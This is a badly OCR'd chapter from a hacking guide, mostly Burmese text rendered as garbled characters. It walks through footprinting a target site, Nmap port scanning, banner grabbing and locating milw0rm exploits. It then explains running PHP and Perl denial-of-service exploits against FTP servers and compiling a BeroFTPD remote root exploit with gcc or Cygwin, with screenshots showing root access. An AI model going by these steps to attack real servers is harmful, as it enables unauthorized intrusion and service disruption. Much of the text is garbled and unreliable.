THC Hydra — http://freeworld.thc.org/thc-hydra/

Rainbow Crack — http://www.antsight.com/zsl/rainbowcrack/




Chapter Five
Network Hacking



Footprinting

Footprinting s30o computer system 00893, 858 0p8qj|02203 394,
2000E:39|0d3000N60R03 eoRdegE:Oll !IEPMdELINS, Hacking Cwdcsode0R05
000ead:0qE0Y 328082003 Z6aErRd:0lo) 2808l saeloPEimn BuSewrndend
system &, 206{03pCs/2000E:359)0582000560303 ©ewITHEEMRSM
[0302E 2800223 B onvdecon Website 00694, Information 6oga3 uogmodeued

00580r03e303 3280860303 630deE[PP[gdlevd

0. 000Led:MGO, Target Website §, 2000E:3og0582000560303 eeacEsd edl Website §,
Email c80006031 §000560303 gpegeopd:dlecdi 8 site o3 Social Engineering § 03050udad,
2040500z E Bumeogm 3pa%:0EEdl

J- Website §, IP Address 03 936A 2Ec06qdlecdi
http://www.selfseo.com/find_ip_address_of a_website.php or%ogo:@: website c?] URL or?
ooécx%o%é]u IP Address q&cﬁéecﬁu

Q- 37

The IP address of google.com is 64.233.187.99

The IP address 64.233.187.99 is assigned to Lnited States

Enter LIEL: |g-:u:ug|e.u:u:um GEE.,I,EJ



0. 238s384, Server um run e§/0es Ping CvO[G: 0&mpdadlecdi Offline [ydesod Server
o3 hack o8 ¢ eqdecon http://just-ping.com v 838000903 MEPdEE: 34 GsepaesJ:
ping cvoGLedlonedi 33803a304{8s website url Sloewrod website §50503 copdadad(G: Ping
3858050l Packet sa0:0d2 [godagnionude3qC Server um online ¢ Jesdloocdi

5 - 38

|gnngle.cnm T ||ping!|
[ Yahou.cumAbr 5694 E34.13

ping: google.com

Santa Clara, UT. 5.4 Ok ay B2 .3 gd & &7._0
Wancouyer, Canada Okay 11.%8 1z.4 T
MNew Tork, U. 5. A Ok ay 7.0 21.3 47 _E
Florida, TT.5_A. Oz ayr 4721 43 .6 L4.3
Adustinl, T. 5 A Ok ay 140.7 141.3 14Z_1
dustin, W5 A, Ok ayr 736 73.8 T4E
San Francisco, T.S_A. Ok ay DLk Q8.5 1004
Amsterdan?, Netherlands Oz asr 1553 151.3 152.8
London, United Kingdom Ok ay 255 S25.5 g87.9
imsterdami, Metherlands Okay o4 .4 EL 5.3
Chicago, T 2. 4. Ok ay &l.E gE.1 520
Amsteardam, Netherlands Ol asr 104 . 7 106. 8 108. 5
Cologne, Germany Ok ay 1062 lag._ 2 las.9
Munichen, Germany Okay lao_ k& 103 .4 105_7
Paris, France Ok ay QL.0 27.1 101.0
Madrid, Spain Oz ayr 1z3.8 126.1 1z8.0
Stockholm, Sweden Ok ay LT 199._0 Z00_k
Cagliari, Italy Okay 187.49 188._ & 185._8
Copenhagern, Denmark Ok ay TLEvE 11.8 11z.0
Antwerp - Belgium Ol asr 24 8 25.8 27,0
Erakow, Poland Ok ay 13E5.1 136.1 1969
Nagano, Japan Okay ldd = 145.0 146 4
Sydney, Australia Ok ay lg0.7 18&_ & 187.&
Hong EKong, China Oz asr 2408 £51.1 £54.9
Lille, France Ok ay 143.4 1EZ.9 lE8.9
Auckland, New Zealand Okay 18&. 4 123 . & i BN
Melbourne, hustralia Ok ay Zz3.0 2333 zdz .9
Haifa, Israsl Ol asr 170,58 172.1 1731
Singapore, Singapors Ok ay Z16. & Z16_8 Z17.0
Porto Alegre, Brazil Okay o e el 14 _ 5
Mumbai, India Ok ay pad R EGE.E EGE. 1
gurich, Switmerland Oz asr 1z6.32 1z0.1 134.1
Johamnesburyg, South Africalkay SR 3577 3E58.3
Shanghai, China Packet= lost (100%)

G. 6§00500080¢m 3389088, Whois 03 gpdlecdn http://whois.domaintools.com o045
target website §000003 copdgpcdodd 858a85§, Information GosdeodgPagP:?
60R,q0lewdn 3:eecbe0zl ABoeeoyl so0pdeog domain ©0oEo oS! domain expire

[§600dze§§1 domain name server cog ©20[g¢ saqpiddE 60R,qdlewdi

§). Search Engine 603§, 320:00090503c0p5: 3209:qi8 Edleo0:00051 Google ¢
“site:www.the-target-site.com” 3[G: §o5p[3pdE 258 website § 005200503 page

30:00209 603, quleudn SBeod03myjoy §pe0R §E3, 338650050 93CePadCep or0dieaRn?



c0p9eP&ElaLdI powd - “site:www.the-target-site.com email” s3[Gs epq € 258350
00Coo:03 email 220780503603 §0lc86wwdi Google § 68§03 @5005 Search
006906027 “inurl:robots.txt” &[G inurl: o3 ad:ep[gEacli c8gpaBadel site cogd, url Ad¢n
robots.txt Aloj url 320:09:03 60R Jewdi 838009en robots.txt 8EGE 33805en Search
Engine cogan gpad 0eop §E03 &334, Directory ¢ogi Page 6og30:0d: Glo€olonwdi
odeomnEgteo, F383EBmes 33:00803 0|, 00d3ag0dzc0560R §§EJodI



Port Scanning

Server 00694, Port 6o303 Scan cvoq03 2280m6Pdgudyde open port Gogad
0338 3, 338 port 632343s run 6503 Service coRad 938G [gddlooudi 9o¢ Server eoled Run
6507 Service 320:09:03 LdENEGLNOS 2BogGadat 338 Service eozen §EE3
Vulnerabilities 6o303 sagpdeoneudi 6oy [§adqE e3dleoga’ molypdssozaadiqe 008
Website 03 a88:q)03 [03pos:dleonpecdi 8 Port Scanning Example ¢o cpa8qp:o3 Nmap
a303 Scanner o3 32034g[8: elgpogndlecdn http://nmap.org/download.html ooes
ealE:0805d

0. 000wed: Target site Address 0300pddlecdn Command: A 005a3¢ndl
cBode[gpCiogniomn? 2003[gBonudesdn A8 command oo A 903:6503 GUI
version ©upod03 CLI version e3¢ ad:quod command cogoll
& -39

Scan  Jools  Profile  Help

0 o & | v @

Mew Scan  Command Wizard  Save Scan Qpen Scan | Reparka bug Help
.I
urkitled_scanl 8

Targek: :www.target-site.cnm| s Profile; | Intense Scan v

Command; 'nmap -T Aggressive -f -y v, Larget-site, com

J- Profile (23 00p05) Scan type o3 egzqudqdlecdi A 6og A [03gE03 wogy[deogmeon
quick and quiet scan o3 eggoyolonudi Full version detection scan o3egeqE
§o8a30:8CAlonudi dlefopE Bumeozn? vegedls A

5 - 40

Inkense Scan %

Intense Scan

Operating System Detection
Quick Full version Detection Scan
Cuick Operating Swstem detection
CQuick Scan

Quick Services version deteckion
Quick and werbose scan

Reqular Scan




0. 63305MOME0; Simple Scan §, scan AROA305qE 60R,qe0d §roddl
S - 41

«  Port 4 Protocol 4 Stake * Service 4 Mersion
@ =z kcp open ssh

@ 4 kep oper priv-rmail

@ =3 kcp OpEn dormain

@ a0 tcp open hitkp

@ 111 kcp apen rpchind

@ 3208 kcp opEn sl

G. G0R,q05 3203E:5 open port 6oR3, 238 port Goged run 6503 Service GoRn3
[goonsdlonudi cpaBqp:a} Port coRs 1 Service GogmeoD;......

Port Service

20  FTP data (File Transfer Protocol)

21  FTP (File Transfer Protocol)

22 SSH (Secure Shell)

23  Telnet
25  SMTP (Simple Mail Transfer Protocol)
43  Whois

53  DNS (Domain Name Service)

68  DHCP (Dynamic Host Control Protocol)

80  HTTP (Hyper Text Transfer Protocol)

110 POP3 (Post Office Protocol, version 3)

137 NetBIOS-ns

138 NetBIOS-dgm

139 NetBIOS

143 IMAP (Internet Message Access Protocol)
161 SNMP (Simple Network Management Protocol)
194 IRC (Internet Relay Chat)

220 IMAP3 (Internet Message Access Protocol 3)
443 SSL (Secure Socket Layer)

445 SMB (NetBIOS over TCP)

1352 Lotus Notes

1433 Microsoft SQL Server



1521 Oracle SQL

2049 NFS (Network File System)
3306 MYSQL

4000 ICQ

5800 VNC

5900 VNC

8080 HTTP

5. 2203qge$0) Port 6oR03 gpes03 00d§$000i 338 Server ¢ 0o 0S 0d:650S e300
§P8.083000di 0S A3E:a8c8en 3025005910563 §o0od[mdlonudi dlefogpé o 0S
25503 63:E[ER, 20gCaneqEdqpiaondlecdi Nmap ¢ 0S o3 Detect cpa) option
00693lom 603,20l leved) [§08EQES3S0T ©adxdl3 1 9538 scan o
F256P0OgP&edloncdi 2qE0r§:neony 0S 6388EQ, 404 Error Page 006903
§e82Epd[mpddlonudi oomwdedo; Website Address 009§, url 03c0pd[mpdqE A8 404
Error Page 0o05condlonudi poen - www.targetsite.com/kjefkljakdfikdfj.php o3[

§od0opd[o3ddl A" 88500053, page A" 8ad8weoneieupoddlona SlejopE 404 error
page colconendli 404 error page A qpipu A8 server oo 09:03 OS A ©pd3, version

3665[geo:00053lonudi 865, 6905 a33600560dgPiyPieon A 80d vewdlyeodon:
slefop¢ 8s00:0m A [GA adseoCilops

€. Nmap CLI version o3 23:3 o5guS002:q€ Slowupod nmap ¢>ad:03 command
6RA cloppC:adqi€et http://  nmap.org/book/man.html o3 agodo3pddl

Q- A 9 LU Open ports GoR3, run 6503 services Goged A3Gedeoewd Server version
03938 o$600:00056551 602 986A 2€ ¥5qEOREEAN DOSRELAddEo;
6§20569IC:0D0009(9b03 Banner Grabbing o3s00beocm[og0ddl



Banner Grabbing
Run 6503 Service 6og03 B[Gedeon S38lecgn? 3oadeqd 300305 238 service
60oRen2%:650) software 3a§jp3a0023, version 03056330E63, a3cod|Gu
8309|0532000560303 3, $00:0069m60; service port 6oged telnet O[5S Al 8
Example ¢o 0&:3:w0dlo) command prompt o3saads(gjagaidlecd
(Start->Run->Type “cmd” -> Enter). Linux/Mac o3aj:esomadqfeon, terminal o3ad:edli
©0dgI05 - Windows Vista 2602y telnet 0 oa3&seozcondlonar 6320053ls00:3203¢:
:%g&ﬁi%OSCHH
- Start -> Control Panel
- Programs and Features 03eg:Ol
- Turn Windows Features on or off 036zl
- Telnet Client o3egseosfds OK 03864l
- 0. Nmap 3083078200 60,303 open port 0069903 egegdqolecdi port 21
gCes0m 6035000508, 3[03AI8 1 Sled port 21 v 025 port A3 sedon
@u3e[g8ogpdal port 21 v FTP 3203056851 8602 o0ud FTP software
F2d:650D [03098 320305 telnet www.target.com 21 &3[8 §odc0pddl

) C:\WINDOWS\system32\cmd.exe

icroszoft Windows HFP [Uersion 5.1.26881
CC> Copyright 1785-20081 Microsoft Corp.

C:Documents and Settings“Admin>*telnet localhost 21

260000607 0305§,00503 03udgSediesom|§da3za0g05 (localhost) a3d:
§odcopdaondlondin localhost Gseped 0305 target §, URL o3c0pddli



J- 938650056060 Target 03 connect cpd[Ge software §06pd3, version o3
632005¢0[qa0n:03 $3203E: GeSjgandla8gendi 835053000507 WgA8es03
F2IOO0I0I 29603,03 software 03 o3:5058C00d30:500:9/0503 LdEIUM BgPAleoRLLdI
o - 43

> Telnet lacalhost

2B-Filefilla Server version B.7_.27 heta
228—written by Tim Hosse (Tim.KozzelPgmx.de?
28 Please visit http: /sourceforge.netsprojects filezillars

8500:00 320006[gdop:adqC 83q0d300005603033, Nmap ¢ Scan o Full version
detection & 000 0dc3050leon!



Searching for Vulnerabilities

Server software § §00058, version number 632803¢G:0365005¢0
DEPOOGONOOUM A$AEELL) LNAREIEORAD B, 20305 T8O IPAVHNEARO?
206[95[8: Vulnerability database cogen aga:ep[e3pdqolecdi 998 03m58wud Exploit
o360R [Gedom3, server 333315 0305805G: 085:q)08CEe30E cpdileonpwudi exploit
060, 02:0E602; 65005 port 0od9 65205 service 06903 [pei{o3pdqeredl
cpadqp:03 Exploit database 0odg)|,0060%

MilwOrm — http://www.milwOrm.com/

Security Focus - http://www.securityfocus.com/
Osvdb — http://osvdb.org/

8003p06qEe5§5¢7 095600005 d:650) FTP software “filezilla” 350305 exploit

o3 milworm ¢ 930:p[0306 ¢ 603,60 ©uPOdVloR IFEPIEME0 8cdee0o 03, 65005
port ood9an Service §, Vulnerability o3epd, [03gono3dlonudi dleownd vogyo3Eeon
8300003000508, ©eB8EA 3p53a9E{gpdo0s vogydeuEdum Current software

version §, exploit o exploit database cogen 060z copds 538 software §), 330:500:9/0503
29030503Eep[3e exploit 03 a3uda3CesoB:dladduudi vogmpeamed 8cd 30006603 03
Vulnerability o3 “0-day” o8 eal[o30lonod

229 603,3[3eo00: Vulnerability 60303 03058053030d60:60336[03pCe5p0:500:
algplgdlecd

Denial-of-Service (DoS) — DoS attack §go3edlEs saqpgoddoloncdi sleoend sanads
D:0000g/050009000: A 0053 server &9 wodGoEan:03 User cog 338 server
0325503 0qE30E SIS S20d:qp:0) DOS attack Gdaneo, 333 server &8
F2YOIFC0H60R GoNEGLNG J [ server o busy [gdesanCapddlonudi server va3 03
053D 200560R 320305 3ROYP:E$E0T20R05 User Gog 93:g3, Login ofo3sag$en
0E8Eae3mE vpdeu§aeompdlon

Buffer Overflow (BoF) — program o0& buffer o069 (or) storage area 00694,
038:00p5:8€03 LEPNC00S J[G 9B62e0p5:3, [3p0d:qE Buffer Overflow [g6dlooudi Buffer
00690 2005005002:03 data VEPANH3S CVEdOloDLdI F38c005GogneeE



OIIC0HG0RU 0d[ep: Buffer coged adjogadogn:g§en wdgxeoRd), malicious code
60R3, 3202:03:0805[gC: $9§EAlonud 338 code Goy 0o execute wOB[GadeE server o3
g §BEASAHSEAN

MilwOrm ¢o exploit eopgp[GadeE local exploit $, remote exploit 8303 calE:09§60303
603,60 S38lenq), 328¢00dmeo;...

Local Exploit — local exploit 03 run 3 320305 run e0d 00dedled 3a33{gREJeud privilege
user access §3,033l0o0dn § exploit 03 gpseocsgyé privilege sasofones admin (or)
root 33808eepodesnt pdo3eseped 32adgrdlonwdi e§radodspdielpagteo &

exploit 020 200§ user sas0Canes root privilege sae08eaPaRE3ME YOGV exploit Al

Remote Exploit — remote exploit 036027 0056 o€ run 02ewr593 internet

”G$0080¢ run o exploit Ol

System 006903 B5:q08E3, vogmeazuM 8 exploit $6§radod 30d4g/o0050lonud
POWD - VOO system 00d94, regular privilege [gdesanC remote exploit attack
$.[910063(G: regular privilege ooes root privilege [gdes¢ local exploit &,
[03@:0005Gl0n0dn



Penetrating

Server 00694, Vulnerability 0od9c0pdiea Ollgn 338320305 exploit
copdigpeoR,coBolgn Sleowwd S38l03 9005cd run [ server
3000c803:6005030530560 01 8 208:w0 30300 goo:0lonwdi

PHP
PHP exploit 6oganeon; 320d:3agp:ad:dh PHP exploit code cogumn sagpesadyé <?php
$.00: 2> 3, 30ad200050lo0ud FTP server 0.9.20 o332035{ge$03 server 006903

0030380502:63:0E pEgIEoRSAS, aB[oadId i milwOrm ¢ ogn:eplo3pdqC & DoS Exploit
o3 60R,q0leudi 8o download cpAl http://milwOrm.com/exploits/2901

338 exploit o3 server o3 attack o068, run qdlecdi udadrdgedsdeo;...

0. 0ooLEdE B30900NBEd PHP 03E:000:3 8dloncdi WAMP
http://www.wampserver.com/en/ o PHP dl dlo) free web server Oli

PHP exploit o3 notepad odop:c0pd(Be “exploit.php” o8 so0pSeuiBe 936:ad050l target
address 03[gEe03 A 0305 PHP A alogpEiadeom $05:505:038 c3clonudi A 9 exploit §,
850105 - 13 o $address = gethostbyname(*192.168.1.3"); s3[G:eop Olowdn A™8 IP
address cseped 030 target §, 86003 [4€a0pdcaddl Exploit cogum 00095 0009
©0opa8[m0lona c0udesepe? 900d3[gEaeudadomnad a3udm 283 cddlonudi 0odg),¢neo;
runtime instruction cog Glonoddlonudi A 9[gE[Geal a3 2o¢ server §, PHP directory

GA 20560 9302238:03053 WAMP oBad:000e3qE directory oo C:\wamp\bin\php\php5.2.5

[§6Ac866cSn
J- 6520500800 Command prompt Sloeupod Mac a:a393q€ terminal o3g&dli cd

command o3 a34(8¢ php directory §o3 esepod agosd
S - 44

o C:AWINDOWS\system32icmd. exe B=5

Microzoft Windows HP [Uerszion 5.1.268d1 ol
CC» Copyright 17852081 Microsoft Corp. 4

CosDocuments and SettingssDavid Mlcd C:swampsbinsphpsphpS5. 2.5

G = swampsbinsphpsphpS .2 .53



0. Exploit o3 run 8 soqjSogeepaddl@n php exploit.php o3 000 §od00pd[Be enter
053053l error $66o3pE:ea05 320500d8GLdI
& - 45

s\wanpSbhinsphp\phps . 2.5>php exploit.php

*ggine: Undef ined variable: Junk in G:swampshinsphpsphp5.2.5%exploit.php on line

atal error: Call to undefined function socket_create(? in C:i1swampshinsphpsphph.
2 . Snexploit.php on line 28

Ssapanpshinsphpsphpb . 2. 5>

G. 0Og0g[03eaRuM exploit 603 GaEoRZEEd I]E:E:EORI code 33ee0R
c0pdeepan0d[3dloncdn & exploit coga3 ooo programming knowledge vodo) script kiddies

60R 32004g|c8, ©q$EezmCall 3adlan exploit §, a3C: - 18 o3agioyodel
6320050108 E:03[gEq A8 G

$junk.="../../../sun-tzu/../../../sun-tzu/../../../sun-tzu”;

8c38:an script kiddies 6o303 0pa[gaon:oy c8E:dh BenalopEiad gEdadndqg voow
error agpPadogdladdecd defogpCelgpomaed programming o3 eapanaofond,

cBlo0dcd i

Error 0069 sas0e[gognieoecdcopds 650050009 03865600:00056551 & error ceo
Server Configuration error G 1200860 M3[O]IEL53qE tBudom00 oGP0
20€ureroangoledd error 0od99 603, 03¢: V303880 codewiescd, veomEidlon
www.google.com ¢ gpa3.3 sagp:ads [gSe[ge3ola86endi vroddlonwd Google oo 004,

apcodgC:oll 09 §, 320:0009/0560R03 GoC:e0E:3d:qISadl

a1 Error coge§eonpon:adqC Program o run Olgr command prompt oowogadeqCs target

website o3 DoS Attack &, 030580565 A"8s3803 a30ifGe 30388 ¢¢lo3pddl Target
Server 02 6omE:eomE: & exploit o3 08Eon:edqE exploit §,A g&:coz03



603 [4Eqdla86uudn 3538 838um eroen[Ge page 6oR03 Load §§urcopds [o3paondlecd
6§20580:060) server [03: ogedio:Oladoeudi

Perl

Perl exploit 6og03 run §oacopds PHP & 320000001

0. 20860250} Active Perl version 0089903 Download cp&a8addl

http://www.activestate.com/Products/activeperl/index.mhtml

J- Vulnerability A 0305 Exploit o3gpdlecdi & poweneon 8 ses0 exploit o3od:0lodd
http://milwOrm.com/exploits/6581
WInFTP Server 2.3.0 A 0305 exploit Al 3lcopd: DoS exploit Ao

0. Target server address 03 92003,03 c8A 62003 [4EeoEcd05dl [G:qC “exploit.pl” o3[
save 8050l Perl exploit cogu “1/usr/bin/perl” § oooodadom [gEAlc8gewdi

G. Cmd (or) Terminal 03¢¢[Gs exploit §o3 directory o3 cd command §, 02:c8053 [G:qC
perl exploit.pl o8 §0500pd[Gs run aeddll oG attack cpSAl8Eeud

= C:AWINDOWSsystem32\c

:\Ducuﬁénts and SettingssDavid Mrcd Desktop

wDocuments and SettingssDavid MxDesktoprperl exploit.pl




Python
Exploit o303 python § copbs eegogdloocdi python o3
http://www.python.org/download/ mes qua8Edoncdi python exploit o3 run doocopds

perl § 82070701 python exploit o38an0nB: run (03050l
http://milwOrm.com/exploits/3523

Python file csoge?]o extension 0>co) .py Ol

C/C++

Exploit code 60303 ©§03:03 cp[d3jedsagp:ad: language Gl 008§, C/C++ code Gogum
9005 compiler 2005 operating system ¢oesed compile cO6§EA0dI Sleveod exploit
2qP:p6o} Linux ¢33 compile cpdad qdlooudi Windows 035 23:BscpdgqiCanudedat
Cygwin — http://www.cygwin.com/ o3 2303000l Cygwin v Windows od¢o3 Run o

Linux-like environment dli Linux script ogo3 windows 32038005 run §Eeaanoopds
c0060s8EAondN Linux 320305 Ge000:03 C/C++ exploit sagp:pum Cygwin &, run
030508, qeoedd waomeogropd: Sagpiad: §2d:end Cygwin §, 952003 Gsn0dee|pdlecd
229 Ubuntu Linux §, C/C++ script 6ogo3 000508 compile cpdodd run e0de30m03
:qCoe|pdlecd

o. Terminal o3¢&Ah
O - 47
-G Applications Places System ._

’ésb Arccessories 3

Live session user

.‘,'3, Games v | | 4| character Map

/4 Graphics v L&) Dictionary

gt_:; Internet v | &) Disk Usage Analyzer
[&@' Office » | S Manage Print Jobs

m Sound & Video  » fgf Passwords and Encryption Keys

; gl Take Screenshot
@. AddiRermove. ..

Terminal h ! ,-:'i-
_ Bt et Use the command line




J- http://milwOrm.com/exploits/269 o303>¢d: remote root exploit o3 copy opzdli

0. Terminal o3¢ vi o3, §0500p5[Gs VI editor o3¢Eol eeanadmn screen odlgEqdlovd
(P - 48

File Edit Wiew Terminal Tabs Help

= VIM - Vi IMproved

version 7.1.138
= by Bram Moolenaar et al.
- Vim is open source and freely distributable

S Become a registered Vim user!
- type :help register<Enter> for information

e type :g<Enter= to exit
~ type :help<Enter> or <Fl= for on-line help
= type :help version7<Enter=  for version info

- Running in Vi compatible mode
- type :set nocp<Enter> for Vim defaults
type :help cp-default<Enter> for info on this

G. Typing Mode a30&8, T a3 §oddln (Shift + i)

§). 229 insert mode adeepadesAlg right click $6[: exploit o3 paste cpdaopdAl

n

C. Script saadeepadagniqt save cpd3 320305 <ESC> 03863 [G:qC “:wq exploit.c
8, §0500p50l document coe$a05[: document o exploit.c $00pd3, save
6c8053c8660di



Q. 229 terminal a3¢n Is o3 §0500pd3h 8 command eoeonp current directory 03¢§03
3Ce0R3:0%:03 [4AladGuudi 98 save b0} exploit.c 3Ea list oGwd o, AledEwud
& - 49

File Edit Wiew Terminal Tabs Help
ubuntu@ubuntu:~3% vi =
ubuntugubuntu:~3% 1s

Desktop Documents exploit.c Music Pictures Public Templates Videos
ubuntu@ubuntu:~%

©. GCC compiler 03a34(3s & script o3 compile cpSdlecSi compile vcpdelen C/C++ script
6oR03 compile Ap68E3 200305 ad32603 Libraries 6o, headers cogdlo) development
package o336 install cpoqdlecdn 99E:dmeonp cguddlonwdi Terminal a3¢n 68305m
command 63§050005c3053l

sudo apt-get install build-essential

File Edit Wiew Terminal Tabs Help

To run a command as administrator (user "root"), use "sudo <command=". (<]
See "man sudo root" for details.

ubuntu@ubuntu:~% sudo apt-get install build-essential

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
dpkg-dev g++ g++-4.5% libc6-dev libstdc++6-4.2-dev libtimedate-perl
linux-libc-dev patc

Suggested packages:
debian-keyring g++-multilib g++-4.2-multilib gcc-4.2-doc libstdc++6-4.2-dbg
glibc-doc manpages-dev libstdc++6-4.2-doc diff-doc

The following WEW packages will be installed:
build-essential dpkg-dev g++ g++-4.2 libc6-dev libstdc++6-4.2-dev
libtimedate-perl linux-libc-dev patch

@ upgraded, 2 newly installed, © to remove and 1 not upgraded.

Meed to get BB/8783kB of archives.

After this operation, 34.3MB of additional disk space will be used.

Do you want to continue [Y/n]?




e 8 command o> 332603 package o3 download cod[Gs install
200500000308 Gusdlad6eudi y” a8 §0500pdc3050l package o op om0
23E:6080l0860udn *****(ubuntu linux ¢o package 6op install pdspd: download

06505260303 $006[go0dad &:0E[ge: E3pEMED vod[dAl)

00. 9500 exploit script o3 compile w3 320305 “gec exploit.c” o3 §od00p5c8a5dk

n

compile ©0p586e0d 0o error velgop:adql e33E[ggn compile v [Bedldi “Is

command 03038 8€eaa3[0309[e3pddl “a.out” 8303 compile coS[Beooo: script
3C2000060009 60R qdlecdl

00. 338803 run 8 320305 "./a.out” o3 §o500pdd 8 exploit o3od:00d:505 Note
2505205 [40la86e0di 63200500 GaBjogddl

(?- 51

File Edit Wiew Terminal Tabs Help

ubuntugubuntu:~3% 1s B
Desktop Documents exploit.c Music Pictures Public Templates Wideos
ubuntu@ubuntu:~% gce exploit.c

vbuntu@ubuntu:~% 1s

AL e e I
Documenis Music Public vigeos

Desktop exploit.c Pictures Templates
ubuntu@ubuntu:~% ./a.out

BeroFTPD 1.3.4(1) exploit by gitestl

Usage: ./a.out [options]
Options:
-h hostname
-1 target
-0 offset
Available targets:
8) RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz
1) Slackware 7.8 with BeroFTPD 1.3.4(1) from tar.gz
2) Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm
ubuntu@ubuntu:~$ ./a.out -h host-name-here -t target-site-here -o offset-here [l

0 J. OB e3M0dedeopCineon § exploit 03 33a%:ggEedspdiud:dldl



0. BeroFTPD 1.3.4 server o3 § exploit script &, attack cpd[o3pdqE wogmum server §,
root access §a32:0lc360udi 6800500960y Ubuntu server ¢d§o) root account
o‘?@&q@of:)(:)&u

6 - 52

|._ O Fra i —
-, &

File Edit Wiew Terminal Tabs Help

root@ubuntu:~# whoami
root
root@ubuntu:~# |

“whoami” o3 §05[03p0qE 509 system adlama0Eq, privilege oB3lqdlad6ecdi sagoolom 58
server §, root privilege (466503320305 root o8 [gola8&ewdi



Cygwin
Linux 00 22034qgc8, qeud C/C++ script 03 windows &0 8205ggjgiConudedqE Cygwin
o3200%4q[G: wOeaonESEAoLd

o. http://www.cygwin.com/ ee$ Cygwin o3 Download co6uac3053l

J- Installer o3 run c3a50l

0. Option 39 [gAlc86wudi 1. Install from Internet 2. Download without Installing 3. Install
from Local Directory a3[G: cop dlecd internet connection §gEe0m; $dlod 1 030 oge(e
23€:03050l 2. Download without Installing 0602 63050050303 Cygwin setup file s
download cvd[Gs e5005¢ 938:qiCagC:8Cae3nEdl download cobaons(3eaon: Cygwin
o32384gE:qCe0om; 3. Install from Local Directory odegzeogds 9gE:8Eonudi

6-53

Chooze A Download 5ource
Choose whether to install or download from the internet, ar install from files in
a lozal directony,

=) Install fram Internet
[downloaded files will be kept for future re-uze]

{7 Download 'Withaut Inztalling

7 Irstall from Local Directory

< Back ]i Ment il Carcel




G. Install cpOB:og0:qE Cygwin Icon 03868 gEad053l command prompt ooa5codlewd
& - 55
s BED

|
"':
—

§). Ubuntu linux ¢2006303 exploit 0363223:gjp0[30ddlecdn 338 exploit €03 “C:\cygwin”
directory 0303 eg c8a5(8s “exploit.c” $06p08, 23&:dl

6. 209 exploit 03 run [03090lecdi vcowsd: home directory (C:\cygwin) o3 change
3,920905 “cd /" §, change c3053h 65005 338 directory odon file 6030303093, “Is”
command o3§a500pddl “exploit.c” 303 cog qilevd

Q. Ubuntu ¢>0%:303 “gcc exploit.c —o exploit” command 6323535 compile cpSe3053 8¢
-0 830} parameter 020936502 [gEedl S3dloneoxy compile CYS[G agedamewd output
file &3 exploit aB[8s so0pdc0iGe 29:08050200N error coddoddep wecy §Eeoxy compile
co0[8edl[Gn MIs” §, current directory c3m3Ee0303 [0300[03050l “exploit.exe” 3E3>0060009
60R,00860di

©. Exploit 03 run 3, ™./exploit” o3 §o5c005c8050l script 03 run qeod oR&oypegied
adlaondlecdi parameter Gog0d 0Sm&ED 6gegudBe 65005008[036 006 run cBadeE ofd

200000600860ud (parameter oGO, Gwd [4oo033203E:3 host name o3, target
address o3 [g63loocdn)
& - 56



cd ~

1=
yguin-bat Thumbs.db cygdrive etc home proc use
Cuguin.ico hin dev exploit.c 1ih tmp var

gee exploit.c —o exploit

1=
yguin-bat Thumbs.db cygdrive etc exploit._exe
Cuguin.ico hin dev exploit.c home

~exploit
BeroFTPD 1.3.4<1> exploit by gitestl

llzage: .- exploit [optionsl]
Options:
—h hosztname
-t target
—-o offzet
fvailable targets:
B> RedHat 6.2 with BeroFTPD 1.3.4<1> from tar.g=
1> Slackuware 7.8 with BeroFTPD 1.3.4<1> from tar.g=
22 Mandrake Y.1 with BeroFTPD 1.3.4<1> from rpm

exploit —h host—-here —t target—addreszssz—here —o offzet—here

@. Vulnerable machine o3 & script §, attack cp&lo3pdqE target computer &, root access o3
qAla880udi

Exploit 6oo56005gpigp:a’ run [03096E1 338030m 00600560050 3a0pdulgdejopEs
60R,§01c8600dn exploit SagP:pu 2903 3 200583803 environment 8203E:0000 065005
GeEa:P03300R05 333 environment & 006006000903 Machine Gogeo 63NEYEY
20000058 6ud!

Programming knowledge 92008 8526038303 65005000 326[03pEgg0500090l
20€adiemadend environment 3, 030503630C exploit 03 [4Cs0CEES 320305
programming knowledge saqpgo3:§e [gdedac0l



Network Hacking o3 omag0d[gc:

Network hacking 0302:003058€00d $0b:006:30505:c00m60)...
o. 09C:c0m:07 Software cop sa[g up to date [gdlleon Software Gogen Vulnerabilities
epmlg §esooodo[gdh dlefopé 338 Vulnerability cogod [gEeoCoon:o) patch coz0d
software company ¢og coo503€: go5gCs patch cpdoln
J- Firewall o.?:@é]u
0. Anti-virus software gz od:0li

G. Vulnerability scanner &, 20 system o3 scan 0ddk



Chapter Six
Wireless Hacking



865,6005¢0 Wireless hotspot 6oy oddeondgpieondlgr wireless enabled laptop
$.00C Internet 3>a33{gesSCAlGr 8 Chapter oo Secure Wireless Network cogo3c303

DENEOR 0BGWHEELL) $p0:006:e0R3, 338 network 0B03 vogoleapad§Eomgt oo
9206030068 Eecdedom GagiagiOloudl

Scanning for Wireless Networks

8 oop320305 Wireless Card/Adapter 0069 §3 c83looudi vcowsd: A &:A s0:n Wireless
network copdedq) A gCads scan voddleudi Windows &> A adfg§€eud NetStumbler tool
oBA adeqClecd http://www.netstumbler.com/downloads/ oes download cpdopdli Mac

user Gogoeoy http://www.macstumbler.com/ ¢ agosGeecmjogodoll 8eogs, A contop

program GoRoGo ...

- Kismet for Windows and Linux. http://www.kismetwireless.net/

- KisMac for Mac. http://kismac.macpirate.ch/download.php

o. NetStumbler o3 download cpd[gs a3E:c8a5dl

J- [B:9€ Run c8o50li Wireless Access Point 6oga’ A c8A eagpodeolde scan coddladduudi
0. Scan cpd[Gognq€ ABLdA §0:803 Wireless Access Point GogA 2:0d:03 [gAle86ewdi

o - 57

1 Hebwork Stumbder - [A00Z30701 14003 0 s 1] L=
] Fle Edt Wew Devics Wndow el LoAlw

i = R I = o TR R
= "’ Channals A A | 58I0 freame | Chan| Speed |vendor | Type | Encryption &
g D 00B0CEESZEAZ  detaul B 22 Mbps  D-Link Ak
i 000 24F 0362 jo_nebwadk 3 11 Mbps  Acer AR OWER
Rl 30030580408 Lymga's Mebwark 1 11 Mbps  Apple Al
T i & OI0GZETRAEOF  LANA f 10 Mbps  Linksys AR WEP
IR CONS0IBAGRSE  Vasta's wireless netenrk b 11 Mbps  Advanced Mulh . AF
“'5'E 2 O0400BCEFREC  madhun b 22 Mbps D-link AR
B 7 CHOMAMENBNEE  wireless f 11 Mbps Gemfek (D-Link] AP
& 'K B @ O030ART2ABIC Waaless 1 11 Mbps Defa(Melgear) AF  WEP
